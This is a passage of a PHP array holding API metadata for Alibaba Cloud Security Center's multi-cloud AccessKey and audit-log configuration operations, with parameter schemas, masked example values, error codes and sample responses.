module.'."\n", 'type' => 'string', 'example' => 'Read permission of the cloud server or virtual machine', ], 'Module' => [ 'description' => 'The code of the module. Valid values:'."\n" ."\n" .'* **HOST**: host'."\n" .'* **CSPM**: configuration assessment'."\n" .'* **SIEM**: CloudSiem'."\n" .'* **TRIAL**: log audit'."\n", 'type' => 'string', 'example' => 'HOST', ], 'ModuleAssetType' => [ 'description' => 'The cloud asset that is associated with the module.'."\n", 'type' => 'string', 'example' => 'Cloud server or virtual machine', ], 'ModuleServiceStatus' => [ 'description' => 'The service status of the module. Valid values:'."\n" ."\n" .'* **0**: being used'."\n" .'* **1**: exception occurred'."\n" .'* **2**: being validated'."\n" .'* **3**: validation timed out'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Message' => [ 'description' => 'The error message of the module.'."\n", 'type' => 'string', 'example' => 'ak_domain_error', ], 'TrailStatus' => [ 'description' => 'The status of the log audit service. Valid values:'."\n" ."\n" .'* **init**: being initialized'."\n" .'* **verify**: being validated'."\n" .'* **enable**: enabled'."\n" .'* **disable**: disabled'."\n" .'* **error**: exception occurred'."\n" .'* **timeout**: validation timed out'."\n", 'type' => 'string', 'example' => 'enable', ], 'TrailMessage' => [ 'description' => 'The error message of the log audit service.'."\n", 'type' => 'string', 'example' => 'timeout', ], ], 'description' => '', ], ], 'VendorAuthAlias' => [ 'description' => 'The name of the AccessKey pair.'."\n", 'type' => 'string', 'example' => 'test', ], 'CtdrCloudUserId' => [ 'type' => 'string', 'description' => 'The Account ID.', 'example' => 'azure_demo_1'."\n", ], 'ExtendInfo' => [ 'type' => 'string', 'description' => 'The extended information of the module.', 'example' => '{\\"product\\":\\"webFirewall\\",\\"remark\\":\\"remark\\"}'."\n", ], 'VendorUid' => [ 'type' => 'string', 'description' => 'Account ID of the multi-cloud instance.', 'example' => '123', ], 'VendorUserName' => [ 'type' => 'string', 'description' => 'Account name of the multi-cloud instance.', 'example' => 'VendorUserName', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"CloudVendorAccountAKs\\": [\\n {\\n \\"Status\\": 0,\\n \\"AuthId\\": 2345,\\n \\"AkType\\": \\"primary\\",\\n \\"SecretId\\": \\"S3D6c4O***\\",\\n \\"ServiceStatus\\": 0,\\n \\"Vendor\\": \\"Tencent\\",\\n \\"Message\\": \\"The IAM user is forbidden in the currently selected region\\\\n\\",\\n \\"AuthModules\\": [\\n {\\n \\"ModuleDisp\\": \\"Host Assets\\",\\n \\"ModuleStatement\\": \\"Read permission of the cloud server or virtual machine\\",\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleAssetType\\": \\"Cloud server or virtual machine\\",\\n \\"ModuleServiceStatus\\": 0,\\n \\"Message\\": \\"ak_domain_error\\",\\n \\"TrailStatus\\": \\"enable\\",\\n \\"TrailMessage\\": \\"timeout\\"\\n }\\n ],\\n \\"VendorAuthAlias\\": \\"test\\",\\n \\"CtdrCloudUserId\\": \\"azure_demo_1\\",\\n \\"ExtendInfo\\": \\"{\\\\\\\\\\\\\\"product\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"webFirewall\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\"}\\",\\n \\"VendorUid\\": \\"123\\",\\n \\"VendorUserName\\": \\"VendorUserName\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCloudVendorAccountAKList', 'translator' => 'machine', ], 'DescribeCloudVendorTrialConfig' => [ 'summary' => 'Query the trail configuration attributes of the corresponding AK configuration', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '201842', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AuthId', 'in' => 'query', 'schema' => [ 'description' => 'Unique ID of the AK.'."\n" ."\n" .'> You can call [DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~) to get the AuthId.'."\n" .'> -', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'exclusiveMinimum' => false, 'example' => '23**', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'Cloud asset vendor. Values:'."\n" .'- **Tencent**: Tencent Cloud'."\n" .'- **AWS**: Amazon Web Services', 'type' => 'string', 'required' => true, 'example' => 'AWS', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The structure of the returned message.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '43313389-DED8-5BB7-8CB9-F22CDEB7****', ], 'Data' => [ 'description' => 'Returned data.', 'type' => 'object', 'properties' => [ 'AuthInfo' => [ 'description' => 'Multi-cloud configuration information:'."\n" .'- *AWS*: Output parameters sqsQueueName, sqsRegion'."\n" .'- *Tencent*: Output parameters kafkaUserName, kafkaBootstrapServers, kafkaTopic', 'type' => 'string', 'example' => '{\\"sqsRegion\\":\\"us-west-2\\",\\"sqsQueueName\\":\\"****\\"}', ], 'Status' => [ 'description' => 'The access status of the Trail configuration. Values:'."\n" .'- **init**: Initialization in progress'."\n" .'- **verify**: Configuration verification in progress'."\n" .'- **enable**: Configuration enabled'."\n" .'- **disable**: Configuration disabled'."\n" .'- **error**: Configuration access error'."\n" .'- **timeout**: Configuration access timeout', 'type' => 'string', 'example' => 'init', ], 'Message' => [ 'description' => 'Error message returned when connection fails.', 'type' => 'string', 'example' => 'No relevant queue found', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"43313389-DED8-5BB7-8CB9-F22CDEB7****\\",\\n \\"Data\\": {\\n \\"AuthInfo\\": \\"{\\\\\\\\\\\\\\"sqsRegion\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"us-west-2\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"sqsQueueName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"****\\\\\\\\\\\\\\"}\\",\\n \\"Status\\": \\"init\\",\\n \\"Message\\": \\"No relevant queue found\\"\\n }\\n}","type":"json"}]', 'title' => 'Query Third-Party Cloud Asset Audit Log Access Configuration', 'translator' => 'machine', ], 'ModifyCloudVendorTrialConfig' => [ 'summary' => 'Modify the Trail configuration information for the AK', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '201839', 'abilityTreeNodes' => [ 'FEATUREsasVQUB1H', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AuthId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the audit log configuration to be modified.'."\n" .'> The ID can be queried via [DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~).', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '23**', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'Cloud asset vendor. Values:'."\n" ."\n" .'- **Tencent**: Tencent Cloud'."\n" .'- **AWS**: AWS', 'type' => 'string', 'required' => true, 'example' => 'Tencent', ], ], [ 'name' => 'AuthInfo', 'in' => 'query', 'schema' => [ 'description' => 'Enter the multi-cloud configuration information:'."\n" .'- AWS: parameters sqsQueueName, sqsRegion'."\n" .'- Tencent: parameters kafkaUserName, kafkaBootstrapServers, kafkaTopic', 'type' => 'string', 'required' => false, 'example' => '{\\"sqsRegion\\":\\"us-west-2\\",\\"sqsQueueName\\":\\"****\\"}'."\n", ], ], [ 'name' => 'DeleteTrail', 'in' => 'query', 'schema' => [ 'description' => 'Whether to delete this audit log configuration:'."\n" .'- true: Delete'."\n" .'- false: Do not delete', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Returned structure', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for the request, which can be used to troubleshoot and pinpoint issues.', 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\"\\n}","type":"json"}]', 'title' => 'Modify the audit log configuration information for multi-cloud access', 'translator' => 'machine', ], 'ModifyCloudVendorAccountAK' => [ 'summary' => 'Modifies the configuration of the AccessKey pair for a third-party account.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92357', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'AuthIds', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the AccessKey pair.'."\n" ."\n" .'> You can call the [DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~) operation to query the unique ID.'."\n", 'type' => 'string', 'required' => true, 'example' => '2832', ], ], [ 'name' => 'SecretId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the AK parameter. Values:'."\n" ."\n" .'1. When AkType is primary:'."\n" .'- **Tencent**: AccessKeyId of the main account'."\n" .'- **HUAWEICLOUD**: AccessKeyId of the main account'."\n" .'- **Azure**: ClientId'."\n" .'- **AWS**: AccessKeyId of the main account'."\n" .'- **VOLCENGINE**: AccessKeyId of the main account'."\n" ."\n" .'2. When AkType is sub:'."\n" .'- **Tencent**: AccessKeyId of the sub-account'."\n" .'- **HUAWEICLOUD**: AccessKeyId of the sub-account'."\n" .'- **Azure**: ClientId'."\n" .'- **AWS**: AccessKeyId of the sub-account'."\n" .'- **VOLCENGINE**: AccessKeyId of the sub-account'."\n" .'- **google**: private_key_id'."\n" ."\n" .'> If AkType is **primary**, this value is the SecretID of the main account from another cloud. If AkType is **sub**, this value is the Access Key ID of the sub-account from another cloud. For **Azure**, there is no distinction, and this value is the **appId** of the authentication information. Google Cloud is accessed through a service account, with AkType defaulting to sub, and this value is taken from the private_key_id attribute in the JSON format service key file.', 'type' => 'string', 'required' => false, 'example' => 'S3D6c4O***', ], ], [ 'name' => 'SecretKey', 'in' => 'query', 'schema' => [ 'description' => 'The AccessKey secret.'."\n" ."\n" .'> If AkType is set to **primary**, you must set SecretKey to the AccessKey secret of the third-party master account. If AkType is set to **sub**, you must set SecretKey to the AccessKey secret of the third-party sub-account. This parameter value does not change for a **Microsoft Azure account**. For an Azure account, set this parameter to the **password** that is used for authentication.'."\n", 'type' => 'string', 'required' => false, 'example' => 'AE6SLd****', ], ], [ 'name' => 'Regions', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The regions that are examined during AccessKey pair authentication.', 'type' => 'array', 'items' => [ 'description' => 'The region that is examined during AccessKey pair authentication.'."\n" ."\n" .'> This parameter takes effect only when Vendor is set to AWS. You can call the [ListCloudVendorRegions](~~ListCloudVendorRegions~~) operation to query regions.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ap-south-1', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: enabled.'."\n" .'* **1**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'TenantId', 'in' => 'query', 'schema' => [ 'description' => 'The tenant ID.'."\n" ."\n" .'> This parameter takes effect only when Vendor is set to Azure.'."\n", 'type' => 'string', 'required' => false, 'example' => '95304a97-339b-4de5-9a7d-cdbffaf****', ], ], [ 'name' => 'SubscriptionIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of subscriptions.'."\n" ."\n" .'> This parameter takes effect only when Vendor is set to Azure.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the subscription.'."\n" ."\n" .'> This parameter takes effect only when Vendor is set to Azure.'."\n", 'type' => 'string', 'required' => false, 'example' => '9b41e7ae-fcbf-4983-aa32-6fb2e*****', ], 'required' => false, 'maxItems' => 1, ], ], [ 'name' => 'Domain', 'in' => 'query', 'schema' => [ 'description' => 'Access account domain. Values: '."\n" .'- **china**: China'."\n" .'- **global**: Global '."\n" .'- **europe**: Huawei Europe'."\n" .'> This parameter is only valid and required for **Vendor** being **HUAWEICLOUD**, **Azure**, **AWS**, or **VOLCENGINE**.', 'type' => 'string', 'required' => false, 'example' => 'global', ], ], [ 'name' => 'AuthModules', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The modules that are associated with the AccessKey pair. Valid values:'."\n" ."\n" .'* **HOST**: host.'."\n" .'* **CSPM**: configuration assessment.'."\n" .'* **SIEM**: Cloud Threat Detection and Response (CTDR).'."\n" .'* **TRIAL**: log audit.'."\n" ."\n" .'> You can call the [GetSupportedModules](~~GetSupportedModules~~) operation to query the supported modules.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The module that is associated with the AccessKey pair. Valid values:'."\n" ."\n" .'* **HOST**: host.'."\n" .'* **CSPM**: configuration assessment.'."\n" .'* **SIEM**: CTDR.'."\n" .'* **TRIAL**: log audit.'."\n" ."\n" .'> You can call the [GetSupportedModules](~~GetSupportedModules~~) operation to query the supported modules.'."\n", 'type' => 'string', 'required' => false, 'example' => 'HOST', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'VendorAuthAlias', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The name of the AccessKey pair.'."\n" ."\n" .'> The account information of the third-party cloud servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'ExtendInfo', 'in' => 'query', 'schema' => [ 'description' => 'Extended information.'."\n" ."\n" .'> Used to record extended information from different vendors.'."\n" .'> For Google Cloud, which is accessed through a service account, ExtendInfo stores a JSON-formatted service key file, excluding the private_key_id and zprivate_key fields. The file includes the following fields: type, project_id, client_email, client_id, auth_uri, token_uri, auth_provider_x509_cert_url, client_x509_cert_url, universe_domain.', 'type' => 'string', 'required' => false, 'example' => '{\\"product\\":\\"webFirewall\\",\\"remark\\":\\"remark\\"}', ], ], [ 'name' => 'CtdrCloudUserId', 'in' => 'query', 'schema' => [ 'description' => 'Account ID.'."\n" .'> The account ID of the connected cloud vendor, required when the permission description includes threat analysis and response.', 'type' => 'string', 'required' => false, 'example' => 'azure_demo_1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '6635CED5-4B20-5D2D-94EC-A1C8F9C****', ], 'Data' => [ 'description' => 'The information about the AccessKey pair that is added.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: enabled.'."\n" .'* **1**: disabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AuthId' => [ 'description' => 'The unique ID of the AccessKey pair.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2158', ], 'AkType' => [ 'description' => 'The type of the account to which the AccessKey pair belongs. Valid values:'."\n" ."\n" .'* **primary**'."\n" .'* **sub**'."\n", 'type' => 'string', 'example' => 'sub', ], 'SecretId' => [ 'description' => 'The AccessKey ID.'."\n" ."\n" .'> If AkType is set to **primary**, the value of SecretId is AccessKey ID of the third-party master account. If AkType is set to **sub**, the value of SecretId is the AccessKey ID of the third-party sub-account. This parameter value does not change for a **Microsoft Azure account**. For an Azure account, this parameter value is the **app ID** that is used for authentication.'."\n", 'type' => 'string', 'example' => 'AE6SLd****', ], 'ServiceStatus' => [ 'description' => 'The service status of the AccessKey pair. Valid values:'."\n" ."\n" .'* **0**: being used.'."\n" .'* **1**: exception occurred.'."\n" .'* **2**: being validated.'."\n" .'* **3**: validation timed out.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Vendor' => [ 'description' => 'The type of the cloud asset. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Huawei Cloud.'."\n" .'* **Azure**: Microsoft Azure.'."\n" .'* **AWS**: Amazon Web Services (AWS).'."\n" .'* **VOLCENGINE**: Volcengine '."\n" .'* **google**: Google Cloud '."\n" .'* **CHAITIN**: Chaitin Tech '."\n" .'* **FORTINET**: Fortinet '."\n" .'* **THREATBOOK**: ThreatBook', 'type' => 'string', 'example' => 'Tencent', ], 'Message' => [ 'description' => 'The error message of the AccessKey pair.'."\n", 'type' => 'string', 'example' => 'The IAM user is forbidden in the currently selected region', ], 'AuthModules' => [ 'description' => 'The modules that are associated with the AccessKey pair.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The module that is associated with the AccessKey pair.'."\n", 'type' => 'object', 'properties' => [ 'ModuleDisp' => [ 'description' => 'The display name of the module.'."\n", 'type' => 'string', 'example' => 'Host', ], 'ModuleStatement' => [ 'description' => 'The permission description of the module.'."\n", 'type' => 'string', 'example' => 'Host', ], 'Module' => [ 'description' => 'The code of the module. Valid values:'."\n" ."\n" .'* **HOST**: host.'."\n" .'* **CSPM**: configuration assessment.'."\n" .'* **SIEM**: CTDR.'."\n" .'* **TRIAL**: log audit.'."\n", 'type' => 'string', 'example' => 'HOST', ], 'ModuleAssetType' => [ 'description' => 'The type of the cloud asset that is associated with the module.'."\n", 'type' => 'string', 'example' => 'Module.', ], 'ModuleServiceStatus' => [ 'description' => 'The service status of the module. Valid values:'."\n" ."\n" .'* **0**: being used.'."\n" .'* **1**: exception occurred.'."\n" .'* **2**: being validated.'."\n" .'* **3**: validation timed out.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Message' => [ 'description' => 'The error message of the module.'."\n", 'type' => 'string', 'example' => 'ak_domain_error', ], ], ], ], 'VendorAuthAlias' => [ 'description' => 'The name of the AccessKey pair.'."\n" ."\n" .'> The account information of the third-party cloud servers.'."\n", 'type' => 'string', 'example' => 'test', ], 'CtdrCloudUserId' => [ 'description' => 'Account ID. '."\n" .'>The account ID of the cloud provider being connected.', 'type' => 'string', 'example' => 'azure_demo_1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6635CED5-4B20-5D2D-94EC-A1C8F9C****\\",\\n \\"Data\\": {\\n \\"Status\\": 0,\\n \\"AuthId\\": 2158,\\n \\"AkType\\": \\"sub\\",\\n \\"SecretId\\": \\"AE6SLd****\\",\\n \\"ServiceStatus\\": 0,\\n \\"Vendor\\": \\"Tencent\\",\\n \\"Message\\": \\"The IAM user is forbidden in the currently selected region\\",\\n \\"AuthModules\\": [\\n {\\n \\"ModuleDisp\\": \\"Host Assets\\",\\n \\"ModuleStatement\\": \\"Read permission of the cloud server or virtual machine\\",\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleAssetType\\": \\"Cloud server or virtual machine\\",\\n \\"ModuleServiceStatus\\": 0,\\n \\"Message\\": \\"ak_domain_error\\"\\n }\\n ],\\n \\"VendorAuthAlias\\": \\"test\\",\\n \\"CtdrCloudUserId\\": \\"azure_demo_1\\"\\n }\\n}","type":"json"}]', 'title' => 'ModifyCloudVendorAccountAK', ], 'AddCloudVendorTrialConfig' => [ 'summary' => 'Adds configurations of connecting the audit logs of a third-party cloud asset.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'AuthId', 'in' => 'query', 'schema' => [ 'description' => 'The AccessKey ID.'."\n" ."\n" .'> [](#-describecloudvendoraccountaklist--authid)You can call the [DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~) operation to query the AccessKey ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '2363', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The service provider of the cloud asset. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud.'."\n" .'* **AWS**: Amazon Web Services (AWS).'."\n", 'type' => 'string', 'required' => true, 'example' => 'Tencent', ], ], [ 'name' => 'AuthInfo', 'in' => 'query', 'schema' => [ 'description' => 'The configurations of the third-party cloud asset. Valid values:'."\n" ."\n" .'* *AWS*: Configure the sqsQueueName and sqsRegion parameters.'."\n" .'* *Tencent*: Configure the kafkaUserName, kafkaBootstrapServers, and kafkaTopic parameters.'."\n", 'type' => 'string', 'required' => true, 'example' => '{\\"sqsRegion\\":\\"us-west-2\\",\\"sqsQueueName\\":\\"****\\"}', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'AddCloudVendorTrialConfig', 'translator' => 'machine', ], 'GetLocalDefaultRegion' => [ 'summary' => 'Obtains the default region for synchronizing assets outside Alibaba Cloud.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '153432', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Vendor', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud.'."\n" .'* **HUAWEICLOUD**: Huawei Cloud.'."\n" .'* **Azure**: Microsoft Azure.'."\n" .'* **AWS**: Amazon Web Services (AWS).'."\n", 'type' => 'string', 'required' => false, 'example' => 'Tencent', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F6D23860-55C2-55AA-B484-****', ], 'Status' => [ 'description' => 'The access type of the multi-cloud site. Valid values:'."\n" ."\n" .'* **0**: The current site is not the default site of the multi-cloud site. You can specify a site as the default site of the multi-cloud site.'."\n" .'* **1**: The current site is the default site of the multi-cloud site.'."\n" .'* **2**: Another site is set as the default site of the multi-cloud site.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F6D23860-55C2-55AA-B484-****\\",\\n \\"Status\\": 1\\n}","type":"json"}]', 'title' => 'GetLocalDefaultRegion', ], 'SetSyncRefreshRegion' => [ 'summary' => 'Configures the regions from which you want to synchronize assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '151329', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**: Huawei Cloud'."\n" .'* **Azure**: Microsoft Azure'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n", 'type' => 'string', 'required' => false, 'example' => 'Tencent', ], ], [ 'name' => 'RegionIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The regions from which you want to synchronize assets at the current site.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region from which you want to synchronize assets at the current site.'."\n", 'type' => 'string', 'required' => false, 'example' => 'eu-south-1', ], 'required' => false, 'maxItems' => 200, ], ], [ 'name' => 'DefaultRegion', 'in' => 'query', 'schema' => [ 'description' => 'The access type of the multi-cloud site. Valid values:'."\n" ."\n" .'* **0**: The current site is not the default site of multi-cloud site. You can specify the current site as the default site of the multi-cloud site.'."\n" .'* **1**: The current site is the default site of multi-cloud site.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9BB78BC9-07B9-578B-B020-C954E6FC****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9BB78BC9-07B9-578B-B020-C954E6FC****\\"\\n}","type":"json"}]', 'title' => 'SetSyncRefreshRegion', ], 'GetSupportedModules' => [ 'summary' => 'Get the list of modules supported by authorization.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListCheckResultResponse', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'SupportedModuleResponse' => [ 'description' => 'The supported modules. The module information is classified by cloud service provider.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'The cloud service provider. Valid values:'."\n" ."\n" .'* **Tencent**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**:Huawei Cloud'."\n" .'* **Azure**: Microsoft Azure'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n", 'type' => 'string', 'example' => 'Tencent', ], 'SupportedModules' => [ 'description' => 'The modules supported by the cloud service provider.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Module' => [ 'description' => 'The code of the module. Valid values:'."\n" ."\n" .'* **HOST**: host'."\n" .'* **CSPM**: configuration assessment'."\n" .'* **SIEM**: CloudSiem'."\n" .'* **TRIAL**: log audit'."\n", 'type' => 'string', 'example' => 'HOST', ], 'ModuleDisp' => [ 'description' => 'The display name of the module.'."\n", 'type' => 'string', 'example' => 'Configuration assessment', ], ], 'description' => '', 